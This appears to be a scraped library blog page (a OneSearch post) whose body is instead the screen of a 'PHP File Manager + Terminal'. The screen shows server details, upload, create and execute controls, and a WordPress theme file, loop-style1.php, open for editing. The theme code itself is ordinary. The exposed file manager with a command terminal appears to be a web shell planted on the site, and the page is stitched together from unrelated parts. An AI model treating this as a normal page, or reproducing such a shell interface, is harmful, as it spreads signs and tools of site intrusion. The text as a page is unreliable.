Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/library/wp-content/themes/mobius/loops Upload Create File Create Folder Execute Editing: /var/www/html/library/wp-content/themes/mobius/loops/loop-style1.php<?php $x=0; $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; $args = array ( 'post_type' => 'post', 'paged' => $paged ); $query = new WP_Query($args ); if ($query->have_posts()) : ?> <div id="blog-s1"> <?php while ($query->have_posts()) : $query->the_post(); ?> <div class="one_half <?php if ($odd = $x%2){?> last<?php }?>"> <div <?php post_class() ?> id="post-<?php the_ID(); ?>"> <?php if (of_get_option('show_post_title')) : ?> <h2 class="entry-title"> <a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'smpl' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a> </h2> <?php endif; ?> <?php st_post_meta(); ?> <?php if (of_get_option('show_post_thumbnails')) { st_thumbnailer('sm_banner'); }?> <div class="entry"> <?php do_action('st_content'); ?> </div><!-- /entry --> <div class="clear"></div> </div><!-- /post --> </div><!-- /x-column-x --> <?php if ($odd = $x%2){?> <div class="clear"></div> <?php }?> <?php $x++; endwhile; /* Display navigation to next/previous pages when applicable */ if ( $wp_query->max_num_pages > 1 ) { st_pagenavi(); } ?> <?php else : ?> <?php endif; ?> <div class="clear"></div> </div>Save